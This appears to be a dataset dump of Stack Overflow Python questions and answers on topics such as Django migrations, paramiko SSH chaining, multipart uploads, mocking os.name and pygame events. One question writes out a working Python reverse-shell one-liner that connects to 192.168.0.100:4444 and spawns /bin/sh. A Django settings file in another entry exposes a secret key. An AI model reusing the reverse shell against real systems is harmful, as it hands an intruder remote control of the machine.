text
stringlengths 226
34.5k
|
|---|
Overwrite variable from another class in another file in Python
Question: I'm trying to update my UI via a variable in another python file. Both are in
there own class. Both saved in a folder called: System. As I don't want to re-
execute UI, I can't simply import the file. My question: how does one change a
variable from another class in another file, without re-executing?
_toolsUI.py_
class toolsUI:
def __init__(self):
# Store UI elements in a dictionary
self.UIElements = {}
if cmds.window("UI", exists=True):
cmds.deleteUI("UI")
self.UIElements["window"]=cmds.window("UI", width=200, height=600, title="UI")
self.createColumn() # Create Column
# Display window
cmds.showWindow(self.UIElements ["window"])
def createColumn(self):
self.UIElements["column"] = cmds.columnLayout(adj=True, rs=3)
self.UIElements["frameLayout"] = cmds.frameLayout(height=columnHeight, collapsable=False, borderVisible=True, label="To Change Label")
_maintenance.py_
class maintenance:
def __init__(self):
changeLabel = "Label is Changed"
self.changeLabelColumn(changeLabel) # Change Label Column
def changeLabelColumn(self, changeLabel):
import System.toolsUI as toolsUI """<--- probably not a good idea"""
cmds.frameLayout(toolsUI.UIElements["frameLayout"], edit=True, label=changeLabel)
Answer: The right way to do this afaict would be to create an _object_ of the
`toolsUI` type, and then operate on that instead.
import System
class maintenance:
def __init__(self):
changeLabel = "Label is Changed"
self.ui = System.toolsUI() # create a new object
self.changeLabelColumn(changeLabel)
def changeLabelColumn(self, changeLabel):
cmds.frameLayout(
self.ui.UIElements["frameLayout"], # use the object instead
edit=True,
label=changeLabel)
this way you can have multiple `toolsUI` objects that don't interfere with
each other.
|
Python requests_toolbelt MultipartEncoder filename
Question: Using requests_toolbelt to upload large files in a Multipart form, I have
constructed a method below which succeeds in uploading the file, however I
cannot access the posted filename. How do I access the filename on the server?
# client-side
file = open('/Volumes/Extra/test/my_video.mpg', 'rb')
payload = MultipartEncoder({file.name: file})
r = requests.post(url, data=payload, headers={'Content-Type': 'application/octet-stream'})
# server-side
@view_config(route_name='remote.agent_upload', renderer='json')
def remote_agent_upload(request):
r = request.response
fs = request.body_file
f = open('/Volumes/Extra/tests2/bar.mpg', 'wb') # wish to use filename here
f.write(fs.read())
fs.close()
f.close()
return r
Answer: OK, it looks like you are using the name of the file as the field name. Also,
the way that you are doing it, seems like the entire post content is being
written to file... Is this the desired outcome? Have you tried to actually
play your mpg files after you write them on the server side?
I don't have an HTTP server readily available to test at the moment which
automagically gives me a request object, but I am assuming that the request
object is a webob.Request object (at least it seems like that is the case,
please correct me if I'm wrong)
OK, let me show you my test. (This works on python3.4, not sure what version
of Python you are using, but I think it should also work on Python 2.7 - not
tested though)
The code in this test is a bit long, but it is heavily commented to help you
understand what I did every step of the way. Hopefully, it will give you a
better understanding of how HTTP requests and responses work in python with
the tools you are using
# My Imports
from requests_toolbelt import MultipartEncoder
from webob import Request
import io
# Create a buffer object that can be read by the MultipartEncoder class
# This works just like an open file object
file = io.BytesIO()
# The file content will be simple for my test.
# But you could just as easily have a multi-megabyte mpg file
# Write the contents to the file
file.write(b'test mpg content')
# Then seek to the beginning of the file so that the
# MultipartEncoder can read it from the beginning
file.seek(0)
# Create the payload
payload = MultipartEncoder(
{
# The name of the file upload field... Not the file name
'uploadedFile': (
# This would be the name of the file
'This is my file.mpg',
# The file handle that is ready to be read from
file,
# The content type of the file
'application/octet-stream'
)
}
)
# To send the file, you would use the requests.post method
# But the content type is not application-octet-stream
# The content type is multipart/form-data; with a boundary string
# Without the proper header type, your server would not be able to
# figure out where the file begins and ends and would think the
# entire post content is the file, which it is not. The post content
# might even contain multiple files
# So, to send your file, you would use:
#
# response = requests.post(url, data=payload, headers={'Content-Type': payload.content_type})
# Instead of sending the payload to the server,
# I am just going to grab the output as it would be sent
# This is because I don't have a server, but I can easily
# re-create the object using this output
postData = payload.to_string()
# Create an input buffer object
# This will be read by our server (our webob.Request object)
inputBuffer = io.BytesIO()
# Write the post data to the input buffer so that the webob.Request object can read it
inputBuffer.write(postData)
# And, once again, seek to 0
inputBuffer.seek(0)
# Create an error buffer so that errors can be written to it if there are any
errorBuffer = io.BytesIO()
# Setup our wsgi environment just like the server would give us
environment = {
'HTTP_HOST': 'localhost:80',
'PATH_INFO': '/index.py',
'QUERY_STRING': '',
'REQUEST_METHOD': 'POST',
'SCRIPT_NAME': '',
'SERVER_NAME': 'localhost',
'SERVER_PORT': '80',
'SERVER_PROTOCOL': 'HTTP/1.0',
'CONTENT_TYPE': payload.content_type,
'wsgi.errors': errorBuffer,
'wsgi.input': inputBuffer,
'wsgi.multiprocess': False,
'wsgi.multithread': False,
'wsgi.run_once': False,
'wsgi.url_scheme': 'http',
'wsgi.version': (1, 0)
}
# Create our request object
# This is the same as your request object and should have all our info for reading
# the file content as well as the file name
request = Request(environment)
# At this point, the request object is the same as what you get on your server
# So, from this point on, you can use the following code to get
# your actual file content as well as your file name from the object
# Our uploaded file is in the POST. And the POST field name is 'uploadedFile'
# Grab our file so that it can be read
uploadedFile = request.POST['uploadedFile']
# To read our content, you can use uploadedFile.file.read()
print(uploadedFile.file.read())
# And to get the file name, you can use uploadedFile.filename
print(uploadedFile.filename)
So, I think this modified code will work for you. (Hopefully) Again, not
tested because I don't actually have a server to test with. And also, I don't
know what kind of object your "request" object is on the server side.... OK,
here goes:
# client-side
import requests
file = open('/Volumes/Extra/test/my_video.mpg', 'rb')
payload = MultipartEncoder({'uploadedFile': (file.name, file, 'application/octet-stream')})
r = requests.post('http://somewhere/somefile.py', data=payload, headers={'Content-Type': payload.content_type})
# server-side
@view_config(route_name='remote.agent_upload', renderer='json')
def remote_agent_upload(request):
# Write your actual file contents, not the post data which contains multi part boundary
uploadedFile = request.POST['uploadedFile']
fs = uploadedFile.file
# The file name is insecure. What if the file name comes through as '../../../etc/passwd'
# If you don't secure this, you've just wiped your /etc/passwd file and your server is toast
# (assuming the web user has write permission to the /etc/passwd file
# which it shouldn't, but just giving you a worst case scenario)
fileName = uploadedFile.filename
# Secure the fileName here...
# Make sure it doesn't have any slashes or double dots, or illegal characters, etc.
# I'll leave that up to you
# Write the file
f = open('/Volumes/Extra/tests2/' + fileName, 'wb')
f.write(fs.read())
|
Read .sph files in Python
Question: I am working on a project where I need to extract the Mel-Cepstral Frequency
Coefficients (MFCC) from audio signals. The first step for this process is to
read the audio file into python.
The audio files I have are stored in a .sph format. I am unable to find a
method to read these files directly into python. I would like to have the
sampling rate, and a numpy array with the data, similar to how wav read works.
Since the audio files I will be dealing with are large in size, I would prefer
not to convert to .wav format for reading. Could you please suggest a possible
method to do so?
Answer: I was against converting to a .wav file as I assumed it would take a lot of
time. That is not the case. So, converting using SoX suited my needs.
The following script when run in a windows folder converts all the files in
that folder to a .wav file.
cd %~dp0
for %%a in (*.sph) do sox "%%~a" "%%~na.wav"
pause
After this, the following command can be used to read the file.
import scipy.io.wavfile as wav
(rate,sig) = wav.read("file.wav")
PS: I have posted the answer as opposed to deleting my question, as I found
very little help online regarding .sph files.
|
Using postgres thru ODBC in python 2.7
Question: * I have installed Postgres.app and started it.
* I have pip installed pypyodbc
* I have copied the hello world lines from the Pypyodbc docs, and received the error below. any ideas what the issue might be?
Here is my code
from __future__ import print_function
import pypyodbc
import datetime
conn = pypyodbc.connect("DRIVER={psqlOBDC};SERVER=localhost")
And I receive this error:
File "/ob/pkg/python/dan27/lib/python2.7/site-packages/pypyodbc.py", line 975, in ctrl_err
err_list.append((from_buffer_u(state), from_buffer_u(Message), NativeError.value))
File "/ob/pkg/python/dan27/lib/python2.7/site-packages/pypyodbc.py", line 482, in UCS_dec
uchar = buffer.raw[i:i + ucs_length].decode(odbc_decoding)
File "/ob/pkg/python/dan27/lib/python2.7/encodings/utf_32.py", line 11, in decode
return codecs.utf_32_decode(input, errors, True)
UnicodeDecodeError: 'utf32' codec can't decode bytes in position 0-1: truncated data
what am I doing wrong?
Do I need to somehow initialize the DB / tables first? it is a weird error if
that is the issue.
Answer: I copied your code on my Fedora machine and it started when I changed connect
string to something like:
conn = pypyodbc.connect("Driver={PostgreSQL};Server=IP address;Port=5432;Database=myDataBase;Uid=myUsername;Pwd=myPassword;")
You can find more connect strings for PostgreSQL and ODBC at:
<https://connectionstrings.com/postgresql-odbc-driver-psqlodbc/>
|
connect to third server using script
Question: I can do ssh from one server to another using this:
# ssh [email protected]
The following code is doing the same in pythonic way:
import paraminko
#paramiko.util.log_to_file('ssh.log') # sets up logging
client = paramiko.SSHClient()
client.load_system_host_keys()
client.connect('1.2.4.148')
stdin, stdout, stderr = client.exec_command('ls -l')
But if I need to connect to third server from the second server, I can do
this:
# ssh -t [email protected] ssh [email protected]
How is this done in python? My current server (250) has password less keys
saved with 148 server for easy access. But connection to 149 from 148 will
need password if that matters.
Answer: This python function will connect to middle_server first and then to
last_server. It will execute the command "mycommand" on last_server and return
it's output.
def myconnect():
middle_server='1.2.3.4'
middle_port=3232
middle_user='shantanu'
middle_key_filename='/root/.ssh/id_rsa.pub'
last_server='6.7.8.9'
last_port=1224
last_user='root'
last_password='xxxxx'
mycommand='pwd'
import paramiko
proxy_client = paramiko.SSHClient()
proxy_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
proxy_client.connect(middle_server, port=middle_port, username=middle_user, key_filename=middle_key_filename)
transport = proxy_client.get_transport()
dest_addr = (last_server, last_port)
local_addr = ('127.0.0.1', 1234)
channel = transport.open_channel("direct-tcpip", dest_addr, local_addr)
remote_client = paramiko.SSHClient()
remote_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
remote_client.connect('localhost', port=last_port, username=last_user, password=last_password, sock=channel)
(sshin1, sshout1, ssherr1) = remote_client.exec_command(mycommand)
print sshout1.read()
except:
print "error"
return 0
|
python cross platform testing: mocking os.name
Question: ## what is the correct way to mock `os.name`?
I am trying to unittest some cross-platform code that uses `os.name` to build
platform-appropriate strings. I am running on a Windows machine but want to
test code that can run on either posix or windows.
I've tried:
### production_code.py
from os import name as os_name
def platform_string():
if 'posix' == os_name:
return 'posix-y path'
elif 'nt' == os_name:
return 'windows-y path'
else:
return 'unrecognized OS'
### test_code.py
import production as production
from nose.tools import patch, assert_true
class TestProduction(object):
def test_platform_string_posix(self):
"""
"""
with patch.object(os, 'name') as mock_osname:
mock_osname = 'posix'
result = production.platform_string()
assert_true('posix-y path' == result)
this fails because `os` is not in the global scope for the `test_code.py`. If
'os' is `import`ed in `test_code.py` then we will always get `os.name=='nt'`.
I've also tried:
def test_platform_string_posix(self):
"""
"""
with patch('os.name', MagicMock(return_value="posix")):
result = production.platform_string()
assert_true('posix-y path' == result)
in the test, but this seems not to work because `os.name` is an attribute not
a method with a return value.
EDIT: clarifications in response to comments
1. The [mock docs (1st paragraph)](http://mock.readthedocs.org/en/latest/patch.html) make it seem like directly monkey patching `os.name` could get messy if e.g. an assertion gets raised
2. We really are only changing a path based on `os.name`. Whilst tests will be run on windows and posix machines I wanted something that gave full coverage without needing to resource a machine every time a small edit is made.
Answer: According to [Where to
patch](https://docs.python.org/3/library/unittest.mock.html#where-to-patch)
you should patch `os_name` in `production_code`. By
from os import name as os_name
you are creating a `os.name`'s reference in `production_code` module called
`os_name`: after that (loaded at import time) change `os.name` have no effect
`os_name` reference.
class TestProduction(object):
@patch("production_code.os_name","posix")
def test_platform_string_posix(self):
assert_equal('posix-y path', production.platform_string())
|
Python Reverse shell
Question: I am trying to get a reverse shell from a windows machine (python installed).
Is there a short script to do that?
I tried using the following script:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
All the attempts failed, giving out the following error:
Errno 9:Bad file descriptor
Any help would be appreciated.
Answer: Your code won't work on Windows (but you already knew that).
Here is the documentation saying that it won't work:
> Under Windows the small integer returned by this method cannot be used where
> a file descriptor can be used (such as os.fdopen()).
>
> <https://docs.python.org/2/library/socket.html#socket.socket.fileno>
|
Django migrations
Question: I am trying to build a blog on django. I have gone as far as creating models.
Here they are:
from django.db import models
import uuid
class Users(models.Model):
username = models.CharField(max_length = 32, primary_key = True)
password = models.CharField(max_length = 32)
email = models.EmailField()
registration_date = models.DateTimeField(auto_now_add = True)
class Posts(models.Model):
author = models.ForeignKey("Users")
header = models.CharField(max_length=100)
body = models.TextField()
pub_date = models.DateTimeField(auto_now_add = True)
mod_date = models.DateTimeField(auto_now = True)
upvotes = models.PositiveIntegerField()
views = models.PositiveIntegerField()
post_id = models.AutoField(primary_key = True)
class Answers(models.Model):
body = models.TextField()
author = models.ForeignKey("Users")
pub_date = models.DateTimeField(auto_now_add = True)
mod_date = models.DateTimeField(auto_now = True)
post = models.ForeignKey("Posts")
answer_id = models.UUIDField(primary_key = True, default=uuid.uuid4)
After running `python manage.py migrate` I get the following:
> You are trying to add a non-nullable field 'post_id' to posts without a
> default; we can't do that (the database need mething to populate existing
> rows). Please select a fix:
> 1) Provide a one-off default now (will be set on all existing rows)
> 2) Quit, and let me add a default in models.py
Even if I press 1 and try to set a random one-off value, it migrates
successfully but later on the website crashes with "no such table:
blog_posts". But I think it should work without such workarounds as setting
the default value manually anyway.
I tried playing with primary keys for Posts and Answers. I tried completely
removing them so that django automatically sets them itself and tried changing
it from AutoField to UUIDField and vice versa but it didn't help. What am I
doing wrong?
Answer: You're seeing this error message because django is trying to build a
consistent history of migrations, and it complains that if there was a
database that held data with your old migrations, and you'd try to add a non-
nullable field, it wouldn't know what to do.
Migrations are supposed to be put into version control and used across
different development/production environments. If you add a field that must
not be null, existing data of other environments (for example a production
database that held models that did not have the field `post_id`) then django
will warn you about this, with the error message that you got, and offer two
solutions:
1. This field should always be prepoulated with a default value( you have to modify the models.py)
2. This is a one time migration and you supply a one-off value, for example "LEGACY" to mark pre-migration data.
If you're not in production and there is no valuable data on your development
server, an easy way to fix this error message is just to delete the existing
migration files and run `python manage.py makemigrations && python manage.py
migrate` again.
|
NameError: name 'TigerXtrm' is not defined
Question: I'm in the process of installing a piece of software from Github:
<https://github.com/bravecollective/core>
It uses MongoDB, Python and WebCore to run. I've managed to get it running and
now I've arrived at the part where I need to make myself an admin user.
According to the readme, the following needs to be executed in the Paster
shell.
from brave.core.account.model import User
from brave.core.character.model import EVECharacter
from brave.core.permission.model import Permission, WildcardPermission
u = User.objects(username=USERNAME_HERE)[0]
u.admin = True
c = u.primary
p1 = Permission.objects(id='core.*').first()
c.personal_permissions.append(p1)
c.save()
u.save()
The username in this case being 'TigerXtrm'. However, when I do this it comes
back with the following:
Welcome to the WebCore shell.
from brave.core.account.model import User
from brave.core.character.model import EVECharacter
from brave.core.permission.model import Permission, WildcardPermission
u = User.objects(username=TigerXtrm)[0]
c = u.primary
p1 = Permission.objects(id='core.*').first()
c.personal_permissions.append(p1)
Traceback (most recent call last):
File "console", line 1, in module
NameError: name 'TigerXtrm' is not defined
So **NameError: name 'TigerXtrm' is not defined** is what creates a problem
for me. The user is created and has been entered into the MongoDB database,
I've also tried lowercase and e-mail adress, both to no avail. I can't figure
out why it's telling me it's not defined. Am I executing it in the wrong place
or is there something wrong with the code? Or something else entirely?
Answer: That's the Python interpreter complaining because you need to quote TigerXtrm:
u = User.objects(username="TigerXtrm")[0]
|
PyGame Menu Formatting
Question: So I've been recently working on programming a game in Python as well as an
external library called PyGame. If anyone is familiar with the game
Hearthstone, that is sort of the feel I'm going for. However, that is besides
the point. I have already researched how to display images and their
positions, and I have been stuck trying to figure out to create a menu with
buttons in the PyGame UI. I have previously programmed in Visual Basic, and I
was wondering if the PyGame interface allowed for system event detection in
general, not unlike Visual Basic (i.e. mouse clicks, key presses). Help would
be much appreciated. Thanks in advance!
Answer: One needs to make a `while` loop to have event detection in pygame. Here is an
example:
import time
while 1:
for event in pygame.event.get():
if event.type == pygame.QUIT:
#happens when 'X' in window is clicked
#put code to be executed here
elif event.type == pygame.MOUSEBUTTONDOWN:
onclick_function(pygame.mouse.get_pos)
#passes mouse position as tuple to function to deal with click control.
When blitting images to the display, one needs to know coordinates. Simply
keep a list of `Rect` objects, each with a function to execute when they are
clicked, and use a function to iterate through the list and see if the
coordinates of the mouse are inside the `Rect`.
See the links for blitting images to the display:
Links:
-`Rect`: <http://www.pygame.org/docs/ref/rect.html#pygame.Rect>
-`Surface`: <http://www.pygame.org/docs/ref/surface.html#pygame.Surface>
-`image`: <http://www.pygame.org/docs/ref/image.html>
|
Error code with if statement
Question: I just set up a new python script and when I run it I get the error code:
File "conversion.py", line 17
elif filetype == "Audio":
^
My code is:
if filetype == "Document":
path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:")
os.chdir(path[1:-2])
filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:")
Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .txt: ")
from subprocess import check_call
subprocess.check_call(['unoconv', '-f', Fileextension, filename])
elif filetype == "Audio":
path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:")
os.chdir(path[1:-2])
filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:")
Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .mp3: ")
body, ext = os.path.splitext("filename")
check_call(["ffmpeg" ,"-i", filename, body Fileextension])
elif filetype == "Video":
path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:")
os.chdir(path[1:-2])
filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:")
Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .mp4: ")
body, ext = os.path.splitext("filename")
from subprocess import check_call
check_call(["ffmpeg" ,"-i", filename, body Fileextension])
elif filetype == "Image":
path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:")
os.chdir(path[1:-2])
filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:")
Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .Jpeg: ")
body, ext = os.path.splitext("filename")
from subprocess import check_call
check_call(["ffmpeg" ,"-i", filename, body Fileextension])
Does anybody have any idea as to what the error here is. Any solution would be
very much appreciated. I have been trying to solve it for an hour now and I
still have no idea as to why it happens.
Answer: You are mixing tabs and spaces, and as a result your
`subprocess.check_call(['unoconv', '-f', Fileextension, filename])` line is
not indented far enough. Python expands tabs to match every _8 spaces_ , but
you appear to have configured your editor to indent to 4 spaces for a tab
instead:
>>> lines = '''\
... from subprocess import check_call
... subprocess.check_call(['unoconv', '-f', Fileextension, filename])
... '''
>>> lines.splitlines()[1]
" subprocess.check_call(['unoconv', '-f', Fileextension, filename])"
>>> lines.splitlines()[0]
' \tfrom subprocess import check_call\t'
Note the `\t` character on the `import` line, while the next line (printed
first above to call out the tab better). All your indented lines use tabs,
except the `subprocess.call()` line.
Configure your editor to expand tabs to spaces instead; Python works best when
you avoid tabs for indentation. The [Python style
guide](https://www.python.org/dev/peps/pep-0008/#tabs-or-spaces) strongly
recommends you use spaces over tabs:
> Spaces are the preferred indentation method.
>
> Tabs should be used solely to remain consistent with code that is already
> indented with tabs.
|
Python Django migrate_schemas --shared TypeError: hasattr(): attribute name must be string upon
Question: I am trying to create a python django-mako-plus project with a django-tenant-
schema. I followed the instructions exactly as the tutorial here:
<https://django-tenant-schemas.readthedocs.org/en/latest/install.html#basic-
settings>
However, when I run cmd: python manage.py migrate_schemas --shared, I get the
following error:
File "C:\Python34\lib\site-packages\django\db\utils.py", line 234, in __getitem__
if hasattr(self._connections, alias):
TypeError: hasattr(): attribute name must be string
What are the possible issues?
FYI, here is my settings file:
"""
Django settings for tents_dmp project.
Generated by 'django-admin startproject' using Django 1.8.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'ekr-az&e)g_7&&%um+c%652b72#e035a#_y7rv19jl1qj47t)k'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
SHARED_APPS = (
'tenant_schemas', # mandatory
#'customers', # you must list the app where your tenant model resides in
'homepage',
'django.contrib.contenttypes',
# everything below here is optional
'django.contrib.auth',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.admin',
#'django.contrib.staticfiles',
#'django_mako_plus.controller',
)
TENANT_APPS = (
# The following Django contrib apps must be in TENANT_APPS
'django.contrib.contenttypes',
# your tenant-specific apps
)
INSTALLED_APPS = list(set(SHARED_APPS + TENANT_APPS))
TENANT_MODEL = "homepage.Client" # app.Model
MIDDLEWARE_CLASSES = (
'tenant_schemas.middleware.TenantMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware',
'django_mako_plus.controller.router.RequestInitMiddleware',
)
ROOT_URLCONF = 'tents_dmp.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
#'django.core.context_processors.request',
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
TEMPLATE_CONTEXT_PROCESSORS = (
'django.core.context_processors.request',
#...
)
WSGI_APPLICATION = 'tents_dmp.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.8/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'tenant_schemas.postgresql_backend',
'NAME': 'database2',
'USER': 'postgres',
'PASSWORD': 'XXX',
'HOST': '127.0.0.1',
'PORT': '5432',
}
}
DATABASE_ROUTERS = (
'tenant_schemas.routers.TenantSyncRouter',
)
# Internationalization
# https://docs.djangoproject.com/en/1.8/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.8/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = (
# SECURITY WARNING: this next line must be commented out at deployment
BASE_DIR,
)
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
DEBUG_PROPAGATE_EXCEPTIONS = DEBUG # never set this True on a live site
LOGGING = {
'version': 1,
'disable_existing_loggers': True,
'formatters': {
'simple': {
'format': '%(levelname)s %(message)s'
},
},
'handlers': {
'console':{
'level':'DEBUG',
'class':'logging.StreamHandler',
'formatter': 'simple'
},
},
'loggers': {
'django_mako_plus': {
'handlers': ['console'],
'level': 'DEBUG',
'propagate': False,
},
},
}
###############################################################
### Specific settings for the Django-Mako-Plus app
DJANGO_MAKO_PLUS = {
# identifies where the Mako template cache will be stored, relative to each app
'TEMPLATES_CACHE_DIR': 'cached_templates',
# the default app and page to render in Mako when the url is too short
'DEFAULT_PAGE': 'index',
'DEFAULT_APP': 'homepage',
# the default encoding of template files
'DEFAULT_TEMPLATE_ENCODING': 'utf-8',
# these are included in every template by default - if you put your most-used libraries here, you won't have to import them exlicitly in templates
'DEFAULT_TEMPLATE_IMPORTS': [
'import os, os.path, re, json',
],
# see the DMP online tutorial for information about this setting
'URL_START_INDEX': 0,
# whether to send the custom DMP signals -- set to False for a slight speed-up in router processing
# determines whether DMP will send its custom signals during the process
'SIGNALS': True,
# whether to minify using rjsmin, rcssmin during 1) collection of static files, and 2) on the fly as .jsm and .cssm files are rendered
# rjsmin and rcssmin are fast enough that doing it on the fly can be done without slowing requests down
'MINIFY_JS_CSS': True,
# see the DMP online tutorial for information about this setting
'TEMPLATES_DIRS': [
# '/var/somewhere/templates/',
],
}
### End of settings for the Django-Mako-Plus
################################################################
and my models.py file in the homepage app:
from django.db import models
from tenant_schemas.models import TenantMixin
class Client(TenantMixin):
name = models.CharField(max_length=100)
paid_until = models.DateField()
on_trial = models.BooleanField()
created_on = models.DateField(auto_now_add=True)
auto_create_schema = True
Any help would be greatly appreciated
C:\Users\Desktop\django\tents_dmp>python manage.py migrate_schemas
--shared
=== Running migrate for schema public
Traceback (most recent call last):
File "manage.py", line 10, in <module>
execute_from_command_line(sys.argv)
File "C:\Python34\lib\site-packages\django\core\management\__init__.py", line
338, in execute_from_command_line
utility.execute()
File "C:\Python34\lib\site-packages\django\core\management\__init__.py", line
330, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate
_schemas.py", line 24, in run_from_argv
super(MigrateSchemasCommand, self).run_from_argv(argv)
File "C:\Python34\lib\site-packages\django\core\management\base.py", line 390,
in run_from_argv
self.execute(*args, **cmd_options)
File "C:\Python34\lib\site-packages\django\core\management\base.py", line 441,
in execute
output = self.handle(*args, **options)
File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate
_schemas.py", line 34, in handle
self.run_migrations(self.schema_name, settings.SHARED_APPS)
File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate
_schemas.py", line 61, in run_migrations
command.execute(*self.args, **defaults)
File "C:\Python34\lib\site-packages\django\core\management\base.py", line 441,
in execute
output = self.handle(*args, **options)
File "C:\Python34\lib\site-packages\django\core\management\commands\migrate.py
", line 70, in handle
connection = connections[db]
File "C:\Python34\lib\site-packages\django\db\utils.py", line 234, in __getite
m__
if hasattr(self._connections, alias):
TypeError: hasattr(): attribute name must be string
Answer: Here is your problem:
<https://github.com/bernardopires/django-tenant-schemas/issues/252>
DTS still does not work with django 1.8, but here is a fork that has the
changed stuff.
<https://github.com/tomturner/django-tenant-
schemas/commit/fe437f7c81af8484614b3dcdaeb7ad5c43249f54>
Looks like it works with 1.7 and 1.8, but I haven't tested.
Since I'm starting out a new project, I'll probably downgrade django for a
while.
|
Django CreateView does not save object
Question: I'm trying to use a Create View class in a Django App, but can't save the
object. I tried some suggestions posted in related questions
[here](http://stackoverflow.com/questions/17826778/django-createview-is-not-
saving-object) and [here](http://stackoverflow.com/questions/17833117/djangos-
createview-is-not-saving-an-object) with no results.
The error is
> NoReverseMatch at /metas/add-meta Reverse for 'metas_detalle' with arguments
> '()' and keyword arguments '{'pk': None}' not found. 1 pattern(s) tried:
> ['metas/(?P\d+)/control$']
The form is working and valid, the class call the `save()` method but the
object isn't save, so, the `id` is `None`.
This is my `models.py`:
class MetasSPE(models.Model):
puesto = models.CharField("Cargo", max_length=6, choices=PUESTOS)
clave = models.CharField("Clave de la Meta", max_length=2)
nom_corto = models.CharField('Identificación', max_length=25)
year = models.PositiveIntegerField("Año")
evaluacion = models.BooleanField('Evaluación', default=True)
ciclos = models.PositiveSmallIntegerField('Repeticiones')
descripcion = models.TextField('Descripción de la Meta')
descripcion_html = models.TextField(
'Descripción de la Meta', editable=False)
soporte = models.FileField(
'Soporte', upload_to=archivo_soporte, blank=True, null=True)
usuario = models.ForeignKey(User, related_name='meta_user', editable=False)
creacion = models.DateTimeField(auto_now_add=True)
actualiza = models.DateTimeField(auto_now=True)
def get_absolute_url(self):
from django.core.urlresolvers import reverse
return reverse('metas_detalle', kwargs={'pk': self.id})
The `get_absolute_url()` is working, tested in `python manage.py shell`:
In [1]: from django.core.urlresolvers import reverse
In [2]: reverse('metas_detalle', kwargs={'pk': 1})
Out[2]: '/metas/1/control'
This is the `forms.py`:
class MetasSPEForm(forms.ModelForm):
class Meta:
model = MetasSPE
fields = ("puesto", "clave", "nom_corto", "evaluacion", "ciclos", "descripcion", "soporte")
And this is my `views.py`:
class CrearMeta(CreateView):
model = MetasSPE
form_class = MetasSPEForm
template_name = 'metas/form_base.html'
def form_valid(self, form):
form.instance.usuario = self.request.user
form.instance.year = 2015
return super(CrearMeta, self).form_valid(form)
The `urls.py` looks like this:
urlpatterns = patterns(
'metas.views',
url(r'^$', 'home', name='metas_index'),
url(r'^(?P<pk>\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'),
url(r'^add-meta$', 'agregar_meta', name='metas_add'),
)
By the way, I tried this function, and got the exact same error, but I'm
unable to see the cause:
# from annoying.decorators import render_to
# from django.contrib.auth.decorators import login_required
@login_required
@render_to('metas/form_base.html')
def agregar_meta(request):
if request.method == 'POST':
form = MetasSPEForm(request.POST, request.FILES)
if form.is_valid():
meta = form.save(commit=False)
meta.usuario = request.user
meta.year = 2015
meta.save()
return redirect('metas_detalle', kwargs={'pk': meta.id})
else:
form = MetasSPEForm()
return {'title': 'Agregar nueva meta', 'form': form}
Hope you can help me.
Answer: According to the error, you have the following URL pattern defined:
> `metas/(?P\d+)/control$`
...which **_should_** be `metas/(?P<pk>\d+)/control$`
Note that this is different from the given patterns above:
urlpatterns = patterns(
'metas.views',
url(r'^$', 'home', name='metas_index'),
url(r'^(?P<pk>\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'),
url(r'^add-meta$', 'agregar_meta', name='metas_add'),
)
If I had to guess, you are doing something like the below in the root
**urls.py** :
urlpatterns = patterns(
'',
url(r'^metas/', include('metas.urls')),
# Bad line with bad regex below!
url(r'metas/(?P\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'),
)
Actually, I found the problem:
<https://github.com/SGC-Tlaxcala/sgc-
